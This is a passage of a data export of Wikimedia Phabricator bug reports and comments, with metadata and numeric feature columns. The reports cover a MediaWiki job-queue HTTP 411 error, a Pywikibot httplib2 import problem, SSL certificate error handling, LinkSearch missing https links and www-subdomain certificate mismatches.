CODE should be correct there since the request body is empty?
326654,Job queue not running (HTTP 411) due to missing Content-Length: header,"The problem is that the internal HTTP request to run jobs doesn't include the Content-Length: header (as the HTTP 411 error explains), but it seems to be required[1] (although some webservers, even my apache 2.2.22 on OpenSuSE, doesn't complain about that missing header!):

Relevant code in MediaWiki.php (or Wiki.php before 1.24)

$req = ""POST $url HTTP/1.1\r\nHost: {$info['host']}\r\nConnection: Close\r\n\r\n"";
...
$bytes = fwrite( $sock, $req );

The solution is simple: Send a Content-Length: header.

----

[1] http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.13",,,1413834661,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,True,,,-37,True,0.5,0.0,0.0,0.0,1.0,2.5,1.5,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,2.5,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,0.0,0.5,1.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,10.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,12.0,1.0,1.5,4.5,0.0,0.0,0.5,0.0,3.0,0.0,3.0,0.0,1.0,5.5,7.0,0.0,1.5,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,1.5,3.7495901639344265,0.7598360655737705,"The problem is that the internal HTTP request to run jobs doesn't include the Content-Length: header (as the HTTP 411 error explains), but it seems to be required[1] (although some webservers, even my apache 2.2.22 on OpenSuSE, doesn't complain about that missing header!):

Relevant code in MediaWiki.php (or Wiki.php before 1.24)

$req = ""POST $url HTTP/1.1\r\nHost: {$info['host']}\r\nConnection: Close\r\n\r\n"";
...
$bytes = fwrite( $sock, $req );

The solution is simple: Send a Content-Length: header.

----

[1] URL"
326649,Job queue not running (HTTP 411) due to missing Content-Length: header,"$wgJobTypeConf is not set in LocalSettings.php so it's still the default:

array( 'default' => array ( 'class' => 'JobQueueDB', 'order' => 'random' ) )

I haven't used $wgDebugLogGroups, but the output I provided is in the debug log specified by $wgDebugLogFile.

I'll look more closely at the links you've provided, though as I understand it, MW change how the job queue works in 1.22 and then reverted those changes to some degree in 1.23, so I'm not sure how applicable the 1.22 changes could be to a 1.23 wiki.",,,1413833725,,PHID-USER-7wzcalcy2h7xy5c4vjgm,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,1.0,0.0,0.0,0.5,2.0,2.5,1.5,0.0,1.0,0.0,3.5,8.0,0.0,0.0,0.0,3.5,0.0,7.0,7.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,6.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,2.0,5.5,2.5,2.0,6.5,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,5.5,7.5,2.5,0.0,5.0,0.0,5.5,0.0,1.5,1.0,0.0,0.0,1.0,0.0,1.5,3.5163934426229506,0.6885245901639344,"$wgJobTypeConf is not set in LocalSettings.php so it's still the default:

array( 'default' => array ( 'class' => 'JobQueueDB', 'order' => 'random' ) )

I haven't used $wgDebugLogGroups, but the output I provided is in the debug log specified by $wgDebugLogFile.

I'll look more closely at the links you've provided, though as I understand it, MW change how the job queue works in 1.22 and then reverted those changes to some degree in 1.23, so I'm not sure how applicable the 1.22 changes could be to a 1.23 wiki."
326644,Job queue not running (HTTP 411) due to missing Content-Length: header,"Not sure if this is the reason but there have been job queue changes in 1.22, see https://git.wikimedia.org/blob/mediawiki%2Fcore.git/REL1_22/RELEASE-NOTES-1.22 and https://gerrit.wikimedia.org/r/#/c/59797/ (and https://bugzilla.wikimedia.org/show_bug.cgi?id=46934 )

What is
   $wgJobTypeConf
set to?

You can also set:
   $wgDebugLogGroups['runJobs'] = ""<some path>""
to get debug output and errors (but maybe that's already what your info in comment 0 comes from?).",,,1413833468,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,True,,,-37,True,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,0.0,1.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,8.0,1.0,6.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,10.0,4.0,3.0,4.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,3.3506493506493507,0.7792207792207793,"Not sure if this is the reason but there have been job queue changes in 1.22, see URL and URL (and URL )

What is
   $wgJobTypeConf
set to?

You can also set:
   $wgDebugLogGroups['runJobs'] = ""<some path>""
to get debug output and errors (but maybe that's already what your info in comment 0 comes from?)."
326638,Job queue not running (HTTP 411) due to missing Content-Length: header,Oh and PHP 5.3.10. Sorry for the comment spam.,,,1413831472,,PHID-USER-7wzcalcy2h7xy5c4vjgm,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.9090909090909091,Oh and PHP 5.3.10. Sorry for the comment spam.
326633,Job queue not running (HTTP 411) due to missing Content-Length: header,"FWIW, my servers are running Apache 2.2.22 on Ubuntu 12.04.",,,1413831429,,PHID-USER-7wzcalcy2h7xy5c4vjgm,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,33.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.166666666666667,1.0,"FWIW, my servers are running Apache 2.2.22 on Ubuntu 12.04."
74249,py34 pwb.py loads externals/httplib2 even if it is empty,"Normally if the externals/httplib2 directory is empty, and there is no httplib2 installed on the system, running pwb.py will report an error and advise the user to use git recursive to install httplib2 into the externals directory.

Python 3.4 (and 3.5 nightlys) will 'import' the directory externals/httplib2 even when it is empty, causing pwb.py to fail when it attempts to access 'httplib2.__version__' which doesnt exist in the empty directory externals/httplib2.

Steps to reproduce:
1. Uninstall httplib2 from python34 environment.
2. rm -rf externals/httplib2
3. mkdir externals/httplib2
4. python34 pwb.py version

Expected results:
An error like:
Python module httplib2 >= 0.6.0 is required.
Did you clone without --recursive?
Try running 'git submodule update --init'

Actual results:
AttributeError: 'module' object has no attribute '__version__'

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Needs Triage,90.0,1413787200,1413869656.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-bbwunlkc2m33c5ycsv6d,task_description,resolved,True,c3,1,True,False,True,-37,True,0.0,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.6666666666666667,4.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,2.3333333333333335,0.0,0.6666666666666666,0.0,0.0,0.0,15.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,1.3333333333333333,5.333333333333333,1.0,1.0,3.6666666666666665,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,2.3333333333333335,0.0,1.3333333333333333,4.0,3.3333333333333335,0.3333333333333333,4.333333333333333,0.0,1.3333333333333333,0.0,1.0,0.6666666666666666,0.0,1.0,0.0,0.0,1.3333333333333333,4.079601990049752,0.6417910447761194,"Normally if the externals/httplib2 directory is empty, and there is no httplib2 installed on the system, running pwb.py will report an error and advise the user to use git recursive to install httplib2 into the externals directory.

Python 3.4 (and 3.5 nightlys) will 'import' the directory externals/httplib2 even when it is empty, causing pwb.py to fail when it attempts to access 'httplib2.__version__' which doesnt exist in the empty directory externals/httplib2.

Steps to reproduce:
1. Uninstall httplib2 from python34 environment.
2. rm -rf externals/httplib2
3. mkdir externals/httplib2
4. python34 pwb.py version

Expected results:
An error like:
Python module httplib2 >= 0.6.0 is required.
Did you clone without --recursive?
Try running 'git submodule update --init'

Actual results:
AttributeError: 'module' object has no attribute '__version__'

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
325667,py34 pwb.py loads externals/httplib2 even if it is empty,"Change 167533 merged by jenkins-bot:
Check httplib2.__version__ exists

https://gerrit.wikimedia.org/r/167533",,,1413805917,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbwunlkc2m33c5ycsv6d,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9375,"Change 167533 merged by jenkins-bot:
Check httplib2.__version__ exists

GERRIT_URL"
325664,py34 pwb.py loads externals/httplib2 even if it is empty,"Change 167533 had a related patch set uploaded by John Vandenberg:
Check httplib2.__version__ exists

https://gerrit.wikimedia.org/r/167533",,,1413787584,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbwunlkc2m33c5ycsv6d,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.95,"Change 167533 had a related patch set uploaded by John Vandenberg:
Check httplib2.__version__ exists

GERRIT_URL"
74247,http module in py3 doesnt detect and treat SSL certificate errors correctly,"Very closely related to bug 72009, the http module should detect SSL certificate errors and raise a FatalServerException so that api.py doesnt keep trying to connect.  This works in py2, but py3 ssl error codes are different.

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=72236",Needs Triage,90.0,1413782700,1413991982.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-qsd5yxn5xoycxjge7qrl,task_description,resolved,True,c3,1,True,False,True,-37,True,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,12.0,3.0,3.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,3.8472222222222223,0.7361111111111112,"Very closely related to bug 72009, the http module should detect SSL certificate errors and raise a FatalServerException so that api.py doesnt keep trying to connect.  This works in py2, but py3 ssl error codes are different.

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**See Also**:
URL"
325612,http module in py3 doesnt detect and treat SSL certificate errors correctly,"**gerritadmin** wrote:

Change 167546 merged by XZise:
Detect and handle SSL certificate errors as fatal

https://gerrit.wikimedia.org/r/167546",,,1413937296,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qsd5yxn5xoycxjge7qrl,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.16,0.8,"**gerritadmin** wrote:

Change 167546 merged by XZise:
Detect and handle SSL certificate errors as fatal

GERRIT_URL"
325607,http module in py3 doesnt detect and treat SSL certificate errors correctly,"**gerritadmin** wrote:

Change 167546 had a related patch set uploaded by John Vandenberg:
Detect and handle SSL certificate errors as fatal

https://gerrit.wikimedia.org/r/167546",,,1413804236,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qsd5yxn5xoycxjge7qrl,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.32258064516129,0.8387096774193549,"**gerritadmin** wrote:

Change 167546 had a related patch set uploaded by John Vandenberg:
Detect and handle SSL certificate errors as fatal

GERRIT_URL"
74185,External links search does not look for https: links,"On English Wikipedia, go to [[Special:LinkSearch]]. Enter ""en.wikipedia.org/wiki/Wikipedia:Requests_for_comment/Redrose64"", click ""Search"". It comes back with ""There are no results for this report."", even though the link (formatted as [1]) exists at [2] and [3]. I want to find all the places that it's linked in that manner, so that I can fix them all to a proper internal wikilink.

1. https://en.wikipedia.org/wiki/Wikipedia:Requests_for_comment/Redrose64
2. https://en.wikipedia.org/wiki/Template_talk:Same-sex_unions#Template-protected_edit_request_on_15_October_2014
3. https://en.wikipedia.org/wiki/Wikipedia:Requests_for_page_protection#Template:Same-sex_unions_.28edit.7Ctalk.7Chistory.7Clinks.7Cwatch.7Clogs.29

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1413558060,1413571277.0,PHID-USER-a4moomwrw7b34p3nknqr,False,,False,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_description,invalid,True,c3,1,False,False,True,-37,True,1.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,1.5,0.0,1.0,7.5,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.5,10.5,2.0,0.5,5.5,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.0,7.5,3.0,0.0,3.0,0.0,4.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,6.5,3.5338983050847457,0.6610169491525424,"On English Wikipedia, go to [[Special:LinkSearch]]. Enter ""en.wikipedia.org/wiki/Wikipedia:Requests_for_comment/Redrose64"", click ""Search"". It comes back with ""There are no results for this report."", even though the link (formatted as [1]) exists at [2] and [3]. I want to find all the places that it's linked in that manner, so that I can fix them all to a proper internal wikilink.

1. URL
2. URL
3. URL

--------------------------
**Version**: unspecified
**Severity**: normal"
323269,External links search does not look for https: links,"This behavior is currently intentionally not supported, hence closing as RESOLVED again (which does not mean FIXED). See comment 3: Feel free to create a separate ticket asking for switching on $wgRegisterInternalExternals.",,,1413571277,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,8.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,4.923076923076923,0.9487179487179487,"This behavior is currently intentionally not supported, hence closing as RESOLVED again (which does not mean FIXED). See comment 3: Feel free to create a separate ticket asking for switching on $wgRegisterInternalExternals."
323263,External links search does not look for https: links,"(In reply to Redrose64 from comment #2)
> Why was this marked ""resolved""? It isn't.

It was marked RESOLVED INVALID = Not a real bug (Since the behavior was intentional)

> If I go to [[Special:LinkSearch]],
> enter a shorter search term, i.e.
> ""en.wikipedia.org/wiki/Wikipedia:Requests_for_comment"", and click ""Search"",
> it comes back with 23 hits [4]; none of these are what I am looking for, and
> all of them begin http:
> 

Those are all in error. They will be removed next time someone null edits the relavent page (I null edited 2 of them, now its down to 21).


Currently Wikipedia does not consider links to itself to be external links (Personally that doesn't make sense to me, but that's the way it is). Perhaps instead you should file a bug to request $wgRegisterInternalExternals be turned on (Assuming there is community consensus)",,,1413566342,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_subcomment,,True,c3,1,True,,,-37,True,0.5,0.5,0.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,1.0,1.0,0.0,1.0,1.5,0.0,6.0,8.0,0.5,1.5,1.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,6.0,2.5,3.0,1.0,1.0,0.0,0.0,1.0,1.5,0.0,1.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,11.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.0,5.0,12.5,0.5,1.0,5.0,0.0,0.0,0.0,0.5,5.0,0.0,2.0,0.0,6.0,8.0,4.0,0.0,0.0,0.0,6.0,0.0,1.0,1.5,2.5,1.0,0.0,0.0,0.0,3.854326923076923,0.7444711538461539,"(In reply to Redrose64 from comment #2)
QUOTE

It was marked RESOLVED INVALID = Not a real bug (Since the behavior was intentional)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Those are all in error. They will be removed next time someone null edits the relavent page (I null edited 2 of them, now its down to 21).


Currently Wikipedia does not consider links to itself to be external links (Personally that doesn't make sense to me, but that's the way it is). Perhaps instead you should file a bug to request $wgRegisterInternalExternals be turned on (Assuming there is community consensus)"
323255,External links search does not look for https: links,"Why was this marked ""resolved""? It isn't. If I go to [[Special:LinkSearch]], enter a shorter search term, i.e. ""en.wikipedia.org/wiki/Wikipedia:Requests_for_comment"", and click ""Search"", it comes back with 23 hits [4]; none of these are what I am looking for, and all of them begin http:

4. http://en.wikipedia.org/w/index.php?title=Special%3ALinkSearch&target=en.wikipedia.org%2Fwiki%2FWikipedia%3ARequests_for_comment",,,1413565794,,PHID-USER-a4moomwrw7b34p3nknqr,False,,,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_subcomment,,True,c3,1,False,,,-37,True,1.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,7.0,8.0,1.0,1.0,8.0,0.0,7.0,0.0,3.0,1.0,1.0,1.0,1.0,0.0,8.0,3.486111111111111,0.7361111111111112,"Why was this marked ""resolved""? It isn't. If I go to [[Special:LinkSearch]], enter a shorter search term, i.e. ""en.wikipedia.org/wiki/Wikipedia:Requests_for_comment"", and click ""Search"", it comes back with 23 hits [4]; none of these are what I am looking for, and all of them begin http:

4. URL"
323250,External links search does not look for https: links,"External links to the same server not registered as external link or internal link and therefor not searchable by LinkSearch or WhatLinksHere.

See also [[mw:Manual:$wgRegisterInternalExternals]].",,,1413564789,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-jjdpk3c6cqrxclqtqxe5,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,5.088235294117647,0.8235294117647058,"External links to the same server not registered as external link or internal link and therefor not searchable by LinkSearch or WhatLinksHere.

See also [[mw:Manual:$wgRegisterInternalExternals]]."
74182,www.*.wikimedia.org has a bad certificate,"Sites such as www.en.wikipedia.org and www.commons.wikimedia.org redirect to their non-www equivalents (en.wikipedia.org, commons.wikimedia.org). However, when accessing these www. sites over HTTPS there is a host mismatch, as wildcard certificates are not valid for multiple levels of subdomain. As such, visiting https://www.en.wikipedia.org throws an invalid certificate error.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1413549360,1413549934.0,PHID-USER-uo5cuzto35jwltfdhy44,False,,False,PHID-TASK-qjbmegbvpp33oxxamp6u,task_description,declined,True,c3,1,False,False,True,-37,True,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,9.0,8.0,0.0,0.0,0.0,1.0,3.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,4.935897435897436,0.7564102564102564,"Sites such as www.en.wikipedia.org and www.commons.wikimedia.org redirect to their non-www equivalents (en.wikipedia.org, commons.wikimedia.org). However, when accessing these www. sites over HTTPS there is a host mismatch, as wildcard certificates are not valid for multiple levels of subdomain. As such, visiting URL throws an invalid certificate error.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
323105,www.*.wikimedia.org has a bad certificate,"(In reply to MZMcBride from comment #2)
> There are older Bugzilla bugs about this, I believe.

Specifically bug 1698.",,,1413550127,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-qjbmegbvpp33oxxamp6u,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.588235294117647,1.0,"(In reply to MZMcBride from comment #2)
QUOTE

Specifically bug 1698."
323102,www.*.wikimedia.org has a bad certificate,"(In reply to Sam Reed (reedy) from comment #1)
> Why are you visiting these domains?

